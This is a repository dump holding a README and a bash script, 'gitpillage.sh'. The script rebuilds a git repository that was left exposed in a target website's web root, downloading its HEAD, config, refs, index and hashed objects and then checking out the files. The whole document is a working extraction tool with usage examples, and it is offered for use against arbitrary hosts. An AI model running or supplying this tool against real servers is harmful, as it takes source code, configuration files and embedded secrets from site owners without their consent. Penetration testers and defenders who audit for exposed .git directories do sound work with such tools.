├── README.md
└── gitpillage.sh


/README.md:
--------------------------------------------------------------------------------
 1 | ## Why gitpillage? ##
 2 | I thought it would be useful to automate some other techniques I found to extract code, configs and other information from a git repo identified in a web root that was not 100% cloneable. Gitpillage extracts as much knowledge about the repo as possible through predictable file names and known object hashes.
 3 | 
 4 | 
 5 | ## Requirements ##
 6 | 
 7 | Basic requirements usually fulfilled by any *nix system.
 8 | 
 9 | * bash
10 | * wget or curl
11 | * grep
12 | * awk
13 | 
14 | 
15 | ## Usage ##
16 |     gitpillage.sh hostname/directory
17 |     (directory is optional)
18 | 
19 | Example:
20 | 
21 |     `gitpillage.sh www.example.com/images (would crawl http://example.com/images/.git/)`
22 | 
23 |     `gitpillage.sh www.example.com (would crawl http://example.com/.git/)`
24 | 
25 | 
26 | ## WTF does this mean ##
27 | 
28 | ``
29 | cat: Moved: No such file or directory
30 | cat: Permanently</h1>: No such file or directory
31 | cat: document: No such file or directory
32 | cat: (Unix): No such file or directory
33 | ``
34 | 
35 | Chances are you are getting hit with a redirect. If you are trying to pillage example.com try www.example.com instead.
36 | 
37 | ## Contributors ##
38 | [Michael Garvin](http://github.com/wraithgar)
39 | 
40 | ## License ##
41 | 
42 | Written by [Adam Baldwin](http://github.com/evilpacket).
43 | Copyright © 2011 by nGenuity Information Services, LLC. Released under the terms of the MIT License:
44 | 
45 | Permission is hereby granted, free of charge, to any person obtaining a copy
46 | of this software and associated documentation files (the "Software"), to deal
47 | in the Software without restriction, including without limitation the rights
48 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
49 | copies of the Software, and to permit persons to whom the Software is
50 | furnished to do so, subject to the following conditions:
51 | 
52 | The above copyright notice and this permission notice shall be included in
53 | all copies or substantial portions of the Software.
54 | 
55 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
56 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
57 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
58 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
59 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
60 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
61 | THE SOFTWARE.
62 | 


--------------------------------------------------------------------------------
/gitpillage.sh:
--------------------------------------------------------------------------------
  1 | #!/bin/bash
  2 | 
  3 | if [[ -z $1 ]]; then
  4 |     cat<<EOF
  5 | Usage:
  6 |     $0 hostname/directory
  7 |     (directory is optional)
  8 | Example:
  9 |     $0 www.example.com/images (would crawl http://example.com/images/.git/)
 10 |     $0 www.example.com (would crawl http://example.com/.git/)
 11 | EOF
 12 | exit 1
 13 | else
 14 |     #Parse out directories and build base url
 15 |     if [[ $1 =~ "/" ]] ; then
 16 |         HOST=${1%%/*}
 17 |         DIR=${1#*/}
 18 |     else
 19 |         HOST=$1
 20 |         DIR=""
 21 |     fi
 22 |     if [[ -e $DIR ]]; then
 23 |         BASEURL="http://${HOST}/.git/"
 24 |     else
 25 |         BASEURL="http://${HOST}/${DIR}/.git/"
 26 |     fi
 27 | fi
 28 | 
 29 | CURL_AVAILABLE=`which curl`
 30 | WGET_AVAILABLE=`which wget`
 31 | if [[ -z $CURL_AVAILABLE && -z $WGET_AVAILABLE ]]; then
 32 |     echo "Unable to find useable http client (need curl or wget)"
 33 |     exit 1
 34 | elif [ -e $WGET_AVAILABLE ]; then
 35 |     CRAWLER='curl'
 36 | else
 37 |     CRAWLER='wget'
 38 | fi
 39 | 
 40 | OFS=$IFS
 41 | export IFS="/"
 42 | DIR_COUNT=0
 43 | for word in $DIR; do
 44 |     let DIR_COUNT=$DIR_COUNT+1
 45 | done
 46 | export IFS=$OFS
 47 | 
 48 | # FUNCTIONS HERP DERP
 49 | function get {
 50 |     if [ '$CRAWLER' == 'wget' ]; then
 51 |         wget $BASEURL$1 -x -nH --cut-dirs=$DIR_COUNT
 52 |     else
 53 |         curl $BASEURL$1 -s -S --create-dirs -o .git/$1
 54 |     fi
 55 | }
 56 | 
 57 | function getsha {
 58 |     dir=${1:0:2}
 59 |     filename=${1:2:40}
 60 |     get "objects/${dir}/${filename}"
 61 | }
 62 | 
 63 | #####################
 64 | 
 65 | # 1 - git init
 66 | git init ${HOST}
 67 | cd ${HOST}
 68 | 
 69 | #2 - get static files
 70 | get "HEAD"
 71 | get "config"
 72 | 
 73 | #3 - get ref from HEAD
 74 | ref=`cat .git/HEAD|awk '{print $2}'`
 75 | get $ref
 76 | 
 77 | #4 - get object from ref
 78 | getsha `cat .git/$ref`
 79 | 
 80 | #5 - get index
 81 | get "index"
 82 | 
 83 | echo "About to make `git ls-files|wc -l` requests to ${HOST}; This could take a while"
 84 | read -p "Do you want to continue? (y/n)"
 85 | [ "$REPLY" == "y" ] || exit
 86 | 
 87 | #6 - Try and download objects based on sha values
 88 | for line in `git ls-files --stage|awk '{print $2}'`
 89 | do
 90 |     getsha $line
 91 | done
 92 | 
 93 | #7 - try and get more objects based on log references
 94 | file="asdf"
 95 | prev=""
 96 | while [ "$file" != "" ]
 97 | do
 98 |     prev=$file
 99 |     file=`git log 2>&1 |grep "^error:"|awk '{print $5}'`
100 |     if [ "$file" == "$prev" ]
101 |     then
102 |         break
103 |     fi
104 |     getsha $file
105 | done
106 | 
107 | #8 - try and checkout files. It's not perfect, but you might get lucky
108 | for line in `git ls-files`
109 | do
110 |     git checkout $line
111 | done
112 | 


--------------------------------------------------------------------------------